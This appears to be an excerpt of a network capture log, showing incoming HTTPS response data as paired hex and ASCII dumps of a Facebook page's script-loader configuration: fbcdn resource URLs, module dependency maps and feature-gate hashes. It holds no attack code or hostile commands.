2023-05-28 08:43:21 UTC	1207	IN	Data Raw: 66 3f 63 3d 33 2e 32 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 20 2f 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 28 7b 22 62 78 44 61 74 61 22 3a 7b 22 38 37 35 32 33 31 22 3a 7b 22 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 79 44 5c Data Ascii: f?c=3.2" width="0" height="0" style="display:none" /></span></div><div style="display:none"><div></div><div></div></div><script>requireLazy(["HasteSupportData"],function(m){m.handle({"bxData":{"875231":{"uri":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/yD\
2023-05-28 08:43:21 UTC	1208	IN	Data Raw: 54 34 65 76 4c 57 39 53 63 2d 37 46 30 37 57 65 45 6b 22 7d 2c 22 38 30 30 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 35 6b 65 51 4f 77 71 6d 67 70 6f 68 6f 61 30 68 59 22 7d 2c 22 31 34 30 31 30 36 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 35 61 65 74 4e 35 47 62 33 72 65 49 58 56 4c 56 67 22 7d 2c 22 31 35 39 36 30 36 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 4a 48 75 44 57 74 61 4f 71 52 75 42 55 2d 72 6f 22 7d 2c 22 31 37 37 38 33 30 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 35 66 69 73 5a 68 6d 63 32 58 39 32 45 4f 7a 77 22 7d 2c 22 31 38 34 30 38 30 39 22 3a 7b 22 72 65 Data Ascii: T4evLW9Sc-7F07WeEk"},"8003":{"result":false,"hash":"AT5keQOwqmgpohoa0hY"},"1401060":{"result":true,"hash":"AT5aetN5Gb3reIXVLVg"},"1596063":{"result":false,"hash":"AT7JHuDWtaOqRuBU-ro"},"1778302":{"result":false,"hash":"AT65fisZhmc2X92EOzw"},"1840809":{"re
2023-05-28 08:43:21 UTC	1210	IN	Data Raw: 47 4e 5f 54 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 70 35 78 5c 2f 67 6b 6c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 5a 5c 2f 72 5c 2f 35 76 5f 34 5a 2d 71 37 64 47 52 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 69 71 61 4e 64 37 76 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 39 5c 2f 72 5c 2f 30 73 6d 36 42 75 56 32 4d 39 2d 2e 6a Data Ascii: GN_T.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"p5x\/gkl":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yZ\/r\/5v_4Z-q7dGR.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"iqaNd7v":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y9\/r\/0sm6BuV2M9-.j
2023-05-28 08:43:21 UTC	1211	IN	Data Raw: 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 32 5c 2f 72 5c 2f 33 46 50 4a 39 59 43 5f 77 55 72 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 62 4f 67 54 50 47 61 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 4a 66 58 34 5c 2f 79 76 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 48 6c 67 64 55 4e 78 6a 6a 45 59 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6e 61 45 63 72 4f 47 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e Data Ascii: /rsrc.php\/v3\/y2\/r\/3FPJ9YC_wUr.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"bOgTPGa":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iJfX4\/yv\/l\/en_US\/HlgdUNxjjEY.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"naEcrOG":{"type":"js","src":"https:\/\/static.xx.fbcdn
2023-05-28 08:43:21 UTC	1213	IN	Data Raw: 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6d 33 72 34 5c 2f 79 57 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 34 56 2d 35 49 7a 59 79 32 75 4b 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 67 50 71 33 71 4c 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4f 5c 2f 72 5c 2f 35 43 53 6b 53 6a 6c 6b 54 78 67 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 55 43 36 63 31 75 Data Ascii: type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3im3r4\/yW\/l\/en_US\/4V-5IzYy2uK.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"gPq3qLy":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yO\/r\/5CSkSjlkTxg.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"UC6c1u
2023-05-28 08:43:21 UTC	1214	IN	Data Raw: 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 79 57 6f 30 41 5a 31 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 48 5f 50 34 5c 2f 79 44 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 59 65 48 67 37 38 6c 58 66 2d 72 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 39 6e 56 62 58 4a 65 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 39 5c 2f 72 5c 2f 49 47 64 76 48 35 4e 72 32 71 4a 2e 6a Data Ascii: _x=Ij3Wp8lg5Kz","nc":1},"yWo0AZ1":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iH_P4\/yD\/l\/en_US\/YeHg78lXf-r.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"9nVbXJe":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y9\/r\/IGdvH5Nr2qJ.j
2023-05-28 08:43:21 UTC	1215	IN	Data Raw: 34 36 65 30 0d 0a 2f 79 70 5c 2f 72 5c 2f 70 36 70 46 34 6e 64 6d 57 4a 34 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 31 69 30 51 5c 2f 34 46 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 4a 38 31 34 5c 2f 79 70 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 71 4e 50 69 6f 51 6a 43 4f 79 74 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 76 68 4f 65 42 39 55 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 Data Ascii: 46e0/yp\/r\/p6pF4ndmWJ4.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"1i0Q\/4F":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iJ814\/yp\/l\/en_US\/qNPioQjCOyt.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"vhOeB9U":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/r
2023-05-28 08:43:21 UTC	1217	IN	Data Raw: 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 48 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 78 56 51 6e 30 55 6c 34 75 43 75 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 58 75 78 77 62 6c 33 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 71 32 4f 34 5c 2f 79 47 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 31 66 39 33 6b 35 56 6d 45 55 47 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 32 Data Ascii: "css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yH\/l\/0,cross\/xVQn0Ul4uCu.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"Xuxwbl3":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iq2O4\/yG\/l\/en_US\/1f93k5VmEUG.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"2
2023-05-28 08:43:21 UTC	1218	IN	Data Raw: 31 5f 61 52 54 62 68 54 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 7a 72 31 53 34 50 44 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 64 5c 2f 72 5c 2f 44 6f 4d 5a 48 76 4a 45 4f 44 65 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6a 55 47 46 34 71 74 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4a 5c 2f 72 5c 2f 30 39 4c 72 49 59 41 62 54 Data Ascii: 1_aRTbhT.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"zr1S4PD":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yd\/r\/DoMZHvJEODe.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"jUGF4qt":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yJ\/r\/09LrIYAbT
2023-05-28 08:43:21 UTC	1220	IN	Data Raw: 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 48 5c 2f 72 5c 2f 69 47 6b 73 70 36 39 66 6f 52 5f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 68 49 65 6b 2b 62 47 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 59 5c 2f 72 5c 2f 44 5a 5f 56 42 6c 73 79 2d 64 43 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4a 65 5c 2f 35 68 63 68 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 Data Ascii: e":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yH\/r\/iGksp69foR_.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"hIek+bG":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yY\/r\/DZ_VBlsy-dC.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Je\/5hch":{"type":"js
2023-05-28 08:43:21 UTC	1221	IN	Data Raw: 22 2c 22 6e 63 22 3a 31 7d 2c 22 56 68 71 75 4e 56 6c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 70 5c 2f 72 5c 2f 34 56 47 49 57 6b 78 65 44 74 68 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 48 5c 2f 35 6c 66 75 46 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 76 5c 2f 72 5c 2f 6b 69 42 5a 78 4f 79 32 5a 34 4b 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 Data Ascii: ","nc":1},"VhquNVl":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yp\/r\/4VGIWkxeDth.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"H\/5lfuF":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yv\/r\/kiBZxOy2Z4K.js?_nc_x=Ij3Wp8lg5Kz","nc"
2023-05-28 08:43:21 UTC	1222	IN	Data Raw: 2c 22 6d 64 58 79 55 44 4c 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 33 63 7a 38 47 65 70 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 44 4f 4d 22 3a 7b 22 72 22 3a 5b 22 39 4e 4d 46 2b 71 78 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 6d 64 58 79 55 44 4c 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 46 6f 72 6d 22 3a 7b 22 72 22 3a 5b 22 64 41 57 4e 5a 5c 2f 73 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 6d 64 58 79 55 44 4c 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 46 6f 72 6d 53 75 62 6d 69 74 22 3a 7b 22 72 22 3a 5b 22 50 32 7a 6c 6b 5c 2f 79 22 2c 22 64 41 57 4e 5a 5c 2f 73 22 2c 22 4c 66 Data Ascii: ,"mdXyUDL"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["3cz8Gep"]},"be":1},"DOM":{"r":["9NMF+qx","OLUnqzA","mdXyUDL"],"be":1},"Form":{"r":["dAWNZ\/s","9NMF+qx","OLUnqzA","7Z7sy3l","mdXyUDL"],"be":1},"FormSubmit":{"r":["P2zlk\/y","dAWNZ\/s","Lf
2023-05-28 08:43:21 UTC	1224	IN	Data Raw: 71 78 22 2c 22 6e 61 45 63 72 4f 47 22 2c 22 2b 7a 79 76 38 55 65 22 2c 22 4d 44 6a 31 63 30 37 22 2c 22 67 71 57 4c 55 45 54 22 2c 22 74 6a 42 71 48 6e 74 22 2c 22 2b 57 4c 4f 30 34 6e 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 70 5c 2f 34 6c 56 39 51 22 2c 22 48 4c 54 48 42 46 4f 22 2c 22 58 75 78 77 62 6c 33 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 32 51 50 45 6d 4a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 59 71 73 52 6e 38 6c 22 2c 22 6a 32 75 76 58 77 54 22 2c 22 6d 66 5a 63 61 65 5c 2f 22 2c 22 54 4c 55 56 6b 36 54 22 2c 22 76 41 66 65 66 68 6e 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 2b 68 54 63 42 50 4f 22 2c 22 64 4d 62 35 77 53 64 22 2c 22 71 4c 30 45 58 44 67 22 2c 22 54 6c 6d 30 35 5c 2f 70 22 2c 22 56 42 6b 55 53 33 6d 22 2c 22 37 5a 37 73 79 33 Data Ascii: qx","naEcrOG","+zyv8Ue","MDj1c07","gqWLUET","tjBqHnt","+WLO04n","s4W0XF\/","p\/4lV9Q","HLTHBFO","Xuxwbl3","OLUnqzA","2QPEmJA","ZTenV+A","YqsRn8l","j2uvXwT","mfZcae\/","TLUVk6T","vAfefhn","9MogwrT","+hTcBPO","dMb5wSd","qL0EXDg","Tlm05\/p","VBkUS3m","7Z7sy3
2023-05-28 08:43:21 UTC	1225	IN	Data Raw: 44 73 57 22 2c 22 36 32 66 2b 46 7a 51 22 2c 22 70 46 62 4a 6b 78 7a 22 2c 22 7a 72 31 53 34 50 44 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 33 63 7a 38 47 65 70 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 48 6f 76 65 72 63 61 72 64 22 3a 7b 22 72 22 3a 5b 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 33 63 7a 38 47 65 70 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 32 45 50 74 61 53 65 22 2c 22 49 5c 2f 54 5a 6e 65 4f 22 2c 22 67 50 71 33 71 4c 79 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 4f 58 56 2b 75 56 31 22 2c 22 5c 2f 41 4e 38 42 74 35 22 2c 22 77 50 39 53 72 58 54 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 66 6e 78 Data Ascii: DsW","62f+FzQ","pFbJkxz","zr1S4PD"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["3cz8Gep"]},"be":1},"Hovercard":{"r":["rT8MmX8","R5w1rCJ","3cz8Gep","mdXyUDL","2EPtaSe","I\/TZneO","gPq3qLy","Vby7npJ","OXV+uV1","\/AN8Bt5","wP9SrXT","LfFe6kq","fnx
2023-05-28 08:43:21 UTC	1227	IN	Data Raw: 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 33 63 7a 38 47 65 70 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 51 75 69 63 6b 53 61 6e 64 53 6f 6c 76 65 72 22 3a 7b 22 72 22 3a 5b 22 64 41 57 4e 5a 5c 2f 73 22 2c 22 38 45 4c 43 42 77 48 22 2c 22 78 32 32 4f 62 79 34 22 2c 22 53 57 78 33 79 4e 76 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 73 53 64 55 49 53 45 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 58 69 6d 34 7a 64 32 22 2c 22 6d 64 58 79 55 44 4c 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c Data Ascii: "m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["3cz8Gep"]},"be":1},"QuickSandSolver":{"r":["dAWNZ\/s","8ELCBwH","x22Oby4","SWx3yNv","LfFe6kq","sSdUISE","9NMF+qx","s4W0XF\/","OLUnqzA","9MogwrT","7Z7sy3l","Xim4zd2","mdXyUDL"],"rds":{"m":["FbtLogging","Intl
2023-05-28 08:43:21 UTC	1228	IN	Data Raw: 47 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 6a 32 75 76 58 77 54 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 71 4c 30 45 58 44 67 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 64 4d 62 35 77 53 64 22 2c 22 36 32 66 2b 46 7a 51 22 2c 22 70 46 62 4a 6b 78 7a 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 33 63 7a 38 47 65 70 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 47 72 61 79 54 65 78 74 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 79 32 4e 52 53 33 48 22 2c 22 54 58 7a 4a 35 48 46 22 2c 22 48 4c 54 48 42 46 4f Data Ascii: G","s4W0XF\/","OLUnqzA","j2uvXwT","9MogwrT","qL0EXDg","7Z7sy3l","dMb5wSd","62f+FzQ","pFbJkxz"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["3cz8Gep"]},"be":1},"XUIGrayText.react":{"r":["rT8MmX8","R5w1rCJ","fnxPgw\/","y2NRS3H","TXzJ5HF","HLTHBFO
2023-05-28 08:43:21 UTC	1230	IN	Data Raw: 5a 4e 33 59 30 36 41 43 54 4a 52 49 5a 4b 70 70 4b 30 66 64 43 33 64 47 46 35 68 7a 5a 53 2d 50 77 32 56 6f 74 41 32 53 59 54 72 55 73 33 48 6b 56 32 41 57 33 59 7a 31 71 77 51 4c 43 68 52 43 74 77 22 2c 22 75 6e 74 72 75 73 74 65 64 5f 6c 69 6e 6b 5f 64 65 66 61 75 6c 74 5f 68 61 73 68 22 3a 22 41 54 32 66 69 6c 30 75 6b 4a 61 72 39 56 56 50 61 46 7a 6e 55 4a 63 4b 55 54 78 45 38 50 68 5f 70 4c 42 79 6e 70 51 79 4b 4d 68 43 58 4d 72 34 52 51 53 38 38 78 6f 6f 36 68 6e 57 4c 61 43 35 4e 59 72 49 75 55 67 4a 68 74 6a 44 5f 4e 34 53 43 37 6a 70 33 6b 75 5f 4c 6e 37 7a 4d 76 4e 64 65 66 6c 39 31 61 4b 56 2d 46 37 49 4b 4f 43 52 53 46 31 35 53 30 4c 54 79 48 69 5a 4c 30 47 68 48 4c 56 77 65 30 66 37 50 6a 59 30 49 6d 33 62 55 56 45 4d 4c 77 22 2c 22 6c 69 6e Data Ascii: ZN3Y06ACTJRIZKppK0fdC3dGF5hzZS-Pw2VotA2SYTrUs3HkV2AW3Yz1qwQLChRCtw","untrusted_link_default_hash":"AT2fil0ukJar9VVPaFznUJcKUTxE8Ph_pLBynpQyKMhCXMr4RQS88xoo6hnWLaC5NYrIuUgJhtjD_N4SC7jp3ku_Ln7zMvNdefl91aKV-F7IKOCRSF15S0LTyHiZL0GhHLVwe0f7PjY0Im3bUVEMLw","lin
2023-05-28 08:43:21 UTC	1231	IN	Data Raw: 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6b 5f 39 74 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6c 5f 68 65 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6d 5f 72 61 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6e 5f 5c 2f 67 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6f 5f 39 55 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 70 5f 41 63 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 71 5f 4a 46 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 72 5f 52 71 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 73 5f 51 71 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f Data Ascii: p_3310c079_0_k_9t","__markup_3310c079_0_l_he","__markup_3310c079_0_m_ra","__markup_3310c079_0_n_\/g","__markup_3310c079_0_o_9U","__markup_3310c079_0_p_Ac","__markup_3310c079_0_q_JF","__markup_3310c079_0_r_Rq","__markup_3310c079_0_s_Qq","__markup_3310c079_
